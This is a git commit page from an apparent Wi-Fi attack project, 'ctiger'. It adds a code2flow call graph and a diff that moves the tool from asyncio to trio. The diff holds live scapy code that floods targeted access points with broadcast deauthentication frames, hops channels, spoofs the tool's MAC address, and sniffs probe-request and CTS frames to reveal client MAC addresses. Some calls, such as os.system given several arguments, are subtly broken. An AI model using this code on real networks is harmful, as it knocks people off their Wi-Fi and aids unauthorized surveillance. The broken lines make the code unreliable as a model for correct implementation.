asyncio swapped for trio

This commit is contained in:
anoduck 2023-12-09 01:01:42 -05:00
parent 18ace41ad4
commit 7989425675
2 changed files with 115 additions and 33 deletions

88
ctiger.gv Normal file
View file

@ -0,0 +1,88 @@
digraph G {
concentrate=true;
splines="ortho";
rankdir="LR";
subgraph legend{
rank = min;
label = "legend";
Legend [shape=none, margin=0, label = <
<table cellspacing="0" cellpadding="0" border="1"><tr><td>Code2flow Legend</td></tr><tr><td>
<table cellspacing="0">
<tr><td>Regular function</td><td width="50px" bgcolor='#cccccc'></td></tr>
<tr><td>Trunk function (nothing calls this)</td><td bgcolor='#966F33'></td></tr>
<tr><td>Leaf function (this calls nothing else)</td><td bgcolor='#6db33f'></td></tr>
<tr><td>Function call</td><td><font color='black'>&#8594;</font></td></tr>
</table></td></tr></table>
>];
}node_b716522e [label="0: (global)()" name="ctiger::(global)" shape="rect" style="rounded,filled" fillcolor="#966F33" ];
node_c226d6b6 [label="257: __init__()" name="ctiger::NetDev.__init__" shape="rect" style="rounded,filled" fillcolor="#6db33f" ];
node_a72217d1 [label="261: create_if()" name="ctiger::NetDev.create_if" shape="rect" style="rounded,filled" fillcolor="#6db33f" ];
node_85c6b5a0 [label="302: start_monitor()" name="ctiger::NetDev.start_monitor" shape="rect" style="rounded,filled" fillcolor="#cccccc" ];
node_dff9387f [label="279: switch_if()" name="ctiger::NetDev.switch_if" shape="rect" style="rounded,filled" fillcolor="#6db33f" ];
node_c49a2835 [label="164: PRN2()" name="ctiger::PRN2" shape="rect" style="rounded,filled" fillcolor="#966F33" ];
node_1e68ec5e [label="349: __init__()" name="ctiger::Purge.__init__" shape="rect" style="rounded,filled" fillcolor="#6db33f" ];
node_02c0b98c [label="400: cts_prn()" name="ctiger::Purge.cts_prn" shape="rect" style="rounded,filled" fillcolor="#966F33" ];
node_0656657d [label="392: get_interface()" name="ctiger::Purge.get_interface" shape="rect" style="rounded,filled" fillcolor="#cccccc" ];
node_29b5dfd9 [label="419: mac_revealer()" name="ctiger::Purge.mac_revealer" shape="rect" style="rounded,filled" fillcolor="#cccccc" ];
node_fcd410b3 [label="410: probe_prn()" name="ctiger::Purge.probe_prn" shape="rect" style="rounded,filled" fillcolor="#966F33" ];
node_4ec502aa [label="376: send_pkt()" name="ctiger::Purge.send_pkt" shape="rect" style="rounded,filled" fillcolor="#6db33f" ];
node_b468b345 [label="453: start_purge()" name="ctiger::Purge.start_purge" shape="rect" style="rounded,filled" fillcolor="#cccccc" ];
node_3430eae8 [label="569: attack()" name="ctiger::attack" shape="rect" style="rounded,filled" fillcolor="#cccccc" ];
node_0637a4a1 [label="547: chan_hopper()" name="ctiger::chan_hopper" shape="rect" style="rounded,filled" fillcolor="#6db33f" ];
node_eaf072d2 [label="138: extract_channel()" name="ctiger::extract_channel" shape="rect" style="rounded,filled" fillcolor="#6db33f" ];
node_83d1b934 [label="120: extract_essid()" name="ctiger::extract_essid" shape="rect" style="rounded,filled" fillcolor="#6db33f" ];
node_2b40ff6d [label="515: feed_gather()" name="ctiger::feed_gather" shape="rect" style="rounded,filled" fillcolor="#6db33f" ];
node_634def90 [label="657: get_df()" name="ctiger::get_df" shape="rect" style="rounded,filled" fillcolor="#6db33f" ];
node_f75ee69d [label="678: get_log()" name="ctiger::get_log" shape="rect" style="rounded,filled" fillcolor="#6db33f" ];
node_12c7deb0 [label="756: main()" name="ctiger::main" shape="rect" style="rounded,filled" fillcolor="#6db33f" ];
node_c77f27f0 [label="608: proc_attack()" name="ctiger::proc_attack" shape="rect" style="rounded,filled" fillcolor="#cccccc" ];
node_50eead29 [label="705: process_args()" name="ctiger::process_args" shape="rect" style="rounded,filled" fillcolor="#966F33" ];
node_e4602889 [label="633: scan_scn()" name="ctiger::scan_scn" shape="rect" style="rounded,filled" fillcolor="#cccccc" ];
node_74072d07 [label="595: start_attack()" name="ctiger::start_attack" shape="rect" style="rounded,filled" fillcolor="#966F33" ];
node_04fffd23 [label="225: strainer()" name="ctiger::strainer" shape="rect" style="rounded,filled" fillcolor="#966F33" ];
node_b716522e -> node_12c7deb0 [color="#D55E00" penwidth="2"];
node_85c6b5a0 -> node_a72217d1 [color="#000000" penwidth="2"];
node_85c6b5a0 -> node_dff9387f [color="#000000" penwidth="2"];
node_c49a2835 -> node_eaf072d2 [color="#0072B2" penwidth="2"];
node_c49a2835 -> node_83d1b934 [color="#0072B2" penwidth="2"];
node_02c0b98c -> node_eaf072d2 [color="#F0E442" penwidth="2"];
node_0656657d -> node_c226d6b6 [color="#0072B2" penwidth="2"];
node_0656657d -> node_85c6b5a0 [color="#0072B2" penwidth="2"];
node_29b5dfd9 -> node_0656657d [color="#E69F00" penwidth="2"];
node_29b5dfd9 -> node_634def90 [color="#E69F00" penwidth="2"];
node_fcd410b3 -> node_4ec502aa [color="#009E73" penwidth="2"];
node_b468b345 -> node_29b5dfd9 [color="#0072B2" penwidth="2"];
node_3430eae8 -> node_0637a4a1 [color="#000000" penwidth="2"];
node_3430eae8 -> node_2b40ff6d [color="#000000" penwidth="2"];
node_3430eae8 -> node_634def90 [color="#000000" penwidth="2"];
node_c77f27f0 -> node_3430eae8 [color="#000000" penwidth="2"];
node_50eead29 -> node_1e68ec5e [color="#E69F00" penwidth="2"];
node_50eead29 -> node_b468b345 [color="#E69F00" penwidth="2"];
node_50eead29 -> node_f75ee69d [color="#E69F00" penwidth="2"];
node_50eead29 -> node_c77f27f0 [color="#E69F00" penwidth="2"];
node_50eead29 -> node_e4602889 [color="#E69F00" penwidth="2"];
node_e4602889 -> node_634def90 [color="#E69F00" penwidth="2"];
node_74072d07 -> node_3430eae8 [color="#CC79A7" penwidth="2"];
node_04fffd23 -> node_eaf072d2 [color="#009E73" penwidth="2"];
subgraph cluster_4a4e1c1c {
node_83d1b934 node_eaf072d2 node_c49a2835 node_04fffd23 node_2b40ff6d node_0637a4a1 node_3430eae8 node_74072d07 node_c77f27f0 node_e4602889 node_634def90 node_f75ee69d node_50eead29 node_12c7deb0 node_b716522e;
label="File: ctiger";
name="ctiger";
style="filled";
graph[style=dotted];
subgraph cluster_4f950f97 {
node_c226d6b6 node_a72217d1 node_dff9387f node_85c6b5a0;
label="Class: NetDev";
name="NetDev";
style="filled";
graph[style=dotted];
};
subgraph cluster_c411e27b {
node_1e68ec5e node_4ec502aa node_0656657d node_02c0b98c node_fcd410b3 node_29b5dfd9 node_b468b345;
label="Class: Purge";
name="Purge";
style="filled";
graph[style=dotted];
};
};
}

View file

@ -23,18 +23,12 @@ from scapy.layers.dot11 import Dot11FCS
from scapy.config import Conf as scapyconfig from scapy.config import Conf as scapyconfig
from scapy.layers.eap import EAPOL from scapy.layers.eap import EAPOL
from scapy.utils import PcapWriter from scapy.utils import PcapWriter
# Import Faker.
from faker import Faker from faker import Faker
# Import the WifiESSID class from Faker Wi-Fi ESSID.
# from faker_wifi_essid import WifiESSID
# import scapy_ex
# from scapy_ex import Dot11Elt
from art.art import tprint from art.art import tprint
from dataclasses import dataclass from dataclasses import dataclass
import multiprocessing as mp import multiprocessing as mp
import asyncio import trio
import threading import threading
from threading import Thread
from random import choice from random import choice
from configobj import ConfigObj, validate from configobj import ConfigObj, validate
from collections import Counter from collections import Counter
@ -42,9 +36,7 @@ import pandas as pd
import signal import signal
import logging import logging
from time import sleep from time import sleep
# sys.path.append(os.path.expanduser('~/.local/lib/python3.11/site-packages'))
sys.path.append(os.path.expanduser('~/.cache/pypoetry/virtualenvs/crouching-tiger-PCIv_4zN-py3.11/lib/python3.11/site-packages')) sys.path.append(os.path.expanduser('~/.cache/pypoetry/virtualenvs/crouching-tiger-PCIv_4zN-py3.11/lib/python3.11/site-packages'))
# from simple_parsing import ArgumentParser
# _ _ _ ____ ___ _ ___ _ ___ ___ # _ _ _ ____ ___ _ ___ _ ___ ___
# \ ( ) / )_\ / _ \ )_ _( )_\ \ _) ) | ) __( ( _( # \ ( ) / )_\ / _ \ )_ _( )_\ \ _) ) | ) __( ( _(
@ -310,7 +302,7 @@ class NetDev:
Returns: Returns:
str: The name of the created or switched monitor interface. str: The name of the created or switched monitor interface.
""" """
global macaddr global macaddr
macaddr = fake.mac_address() macaddr = fake.mac_address()
@ -416,6 +408,14 @@ class Purge(object):
self.send_pkt(bssid) self.send_pkt(bssid)
return return
async def start_sniff(self, probe_sniff):
await probe_sniff.start()
await trio.sleep(0)
async def start_cts(self, cts_sniff):
await cts_sniff.start()
await trio.sleep(0)
async def mac_revealer(self, interface, mon_type, valid_file, channels): async def mac_revealer(self, interface, mon_type, valid_file, channels):
log.info('mac revealer started') log.info('mac revealer started')
self.interface = interface self.interface = interface
@ -431,32 +431,28 @@ class Purge(object):
log.debug('return type: {0}'.format(type(mon_if))) log.debug('return type: {0}'.format(type(mon_if)))
self.mon_if = mon_if self.mon_if = mon_if
log.info('interface {0} is up and running.'.format(self.mon_if)) log.info('interface {0} is up and running.'.format(self.mon_if))
chop = asyncio.to_thread(self.channel_runner,
self.mon_if, self.channels)
global chopper
chopper = asyncio.create_task(chop)
log.info('Channel runner started.')
probe_sniff = AsyncSniffer( probe_sniff = AsyncSniffer(
iface=mon_if, prn=self.probe_prn, iface=mon_if, prn=self.probe_prn,
filter="type mgt subtype probe-req", filter="type mgt subtype probe-req",
monitor=True) monitor=True)
probe_sniff.start()
log.info('Probe sniffer started')
await asyncio.sleep(0)
cts_sniff = AsyncSniffer(filter='type ctl subtype cts', cts_sniff = AsyncSniffer(filter='type ctl subtype cts',
iface=mon_if, prn=self.cts_prn, iface=mon_if, prn=self.cts_prn,
monitor=True) monitor=True)
cts_sniff.start() async with trio.open_nursery() as nursery:
nursery.start_soon(self.channel_runner,
self.mon_if, self.channels)
nursery.start_soon(start_sniff, probe_sniff)
nursery.start_soon(start_cts, cts_sniff)
log.info('Channel runner started.')
log.info('Probe sniffer started')
log.info('CTS sniffer started') log.info('CTS sniffer started')
await asyncio.sleep(0) await trio.sleep(0)
def start_purge(self) -> None: def start_purge(self) -> None:
signal.signal(signal.SIGINT, signal_handler) signal.signal(signal.SIGINT, signal_handler)
print('Enter Ctrl+C TWICE to fully stop the script.') print('Enter Ctrl+C TWICE to fully stop the script.')
asyncio.run(self.mac_revealer(self.interface, trio.run(self.mac_revealer, self.interface, self.mon_type,
self.mon_type, self.valid_file, self.channels)
self.valid_file,
self.channels))
forever_wait = threading.Event() forever_wait = threading.Event()
forever_wait.wait() forever_wait.wait()
@ -521,11 +517,11 @@ async def feed_gather(mon_dev, targ):
pkt = RadioTap()/Dot11(type=0, subtype=4, addr1="ff:ff:ff:ff:ff:ff", addr2=targ, addr3=targ)/Dot11Deauth() pkt = RadioTap()/Dot11(type=0, subtype=4, addr1="ff:ff:ff:ff:ff:ff", addr2=targ, addr3=targ)/Dot11Deauth()
log.debug('sending deauth to ', targ, ' with type 4') log.debug('sending deauth to ', targ, ' with type 4')
sendp(pkt, iface=mon_dev, verbose=0) sendp(pkt, iface=mon_dev, verbose=0)
await asyncio.sleep(1) await trio.sleep(1)
pkt = RadioTap()/Dot11(type=0, subtype=12, addr1="ff:ff:ff:ff:ff:ff", addr2=targ, addr3=targ)/Dot11Deauth() pkt = RadioTap()/Dot11(type=0, subtype=12, addr1="ff:ff:ff:ff:ff:ff", addr2=targ, addr3=targ)/Dot11Deauth()
log.debug('sending deauth to ', targ, ' with type 12') log.debug('sending deauth to ', targ, ' with type 12')
sendp(pkt, iface=mon_dev, verbose=0) sendp(pkt, iface=mon_dev, verbose=0)
await asyncio.sleep(1) await trio.sleep(1)
def grab_macs(pkt): def grab_macs(pkt):
@ -554,7 +550,7 @@ async def chan_hopper(mon_dev, channels):
ichan = choice(chans) ichan = choice(chans)
os.system('iw dev ', mon_dev, ' set channel ', str(ichan)) os.system('iw dev ', mon_dev, ' set channel ', str(ichan))
log.debug('Channel set to ', str(ichan)) log.debug('Channel set to ', str(ichan))
await asyncio.sleep(4.7) await trio.sleep(4.7)
# return ichan # return ichan
@ -588,13 +584,13 @@ async def attack(mon_dev, scan_file):
for row in ares: for row in ares:
if row[1] in targets: if row[1] in targets:
log.info('Found target: ', row[1]) log.info('Found target: ', row[1])
asyncio.create_task(feed_gather(mon_dev, row)) await feed_gather(mon_dev, row)
await asyncio.sleep(1) await trio.sleep(1)
def start_attack(mondev, scan_file): def start_attack(mondev, scan_file):
log.info('Starting the attack') log.info('Starting the attack')
asyncio.run(attack(mondev, scan_file)) trio.run(attack, mondev, scan_file)
# --------------------------------------------------------------------------- # ---------------------------------------------------------------------------
@ -607,8 +603,6 @@ def start_attack(mondev, scan_file):
# ---------------------------------------------------------------------------- # ----------------------------------------------------------------------------
def proc_attack(interface, scan_file, mon_type): def proc_attack(interface, scan_file, mon_type):
mon_dev = start_monitor(interface, mon_type) mon_dev = start_monitor(interface, mon_type)
# daemon = Daemonize(app=__name__, pid='/tmp/ctiger.pid',
# action=asyncio.run(attack(mon_dev, scan_file)))
mp.set_start_method('spawn') mp.set_start_method('spawn')
attack_daemon = mp.Process(target=start_attack, args=(mon_dev, scan_file), attack_daemon = mp.Process(target=start_attack, args=(mon_dev, scan_file),
name='attack_daemon', daemon=True) name='attack_daemon', daemon=True)
@ -619,7 +613,7 @@ def proc_attack(interface, scan_file, mon_type):
attack_daemon.join() attack_daemon.join()
else: else:
log.info('Running in foreground...') log.info('Running in foreground...')
asyncio.run(attack(mon_dev, scan_file)) trio.run(attack, mon_dev, scan_file)
# ------------------------------------------------------------- # -------------------------------------------------------------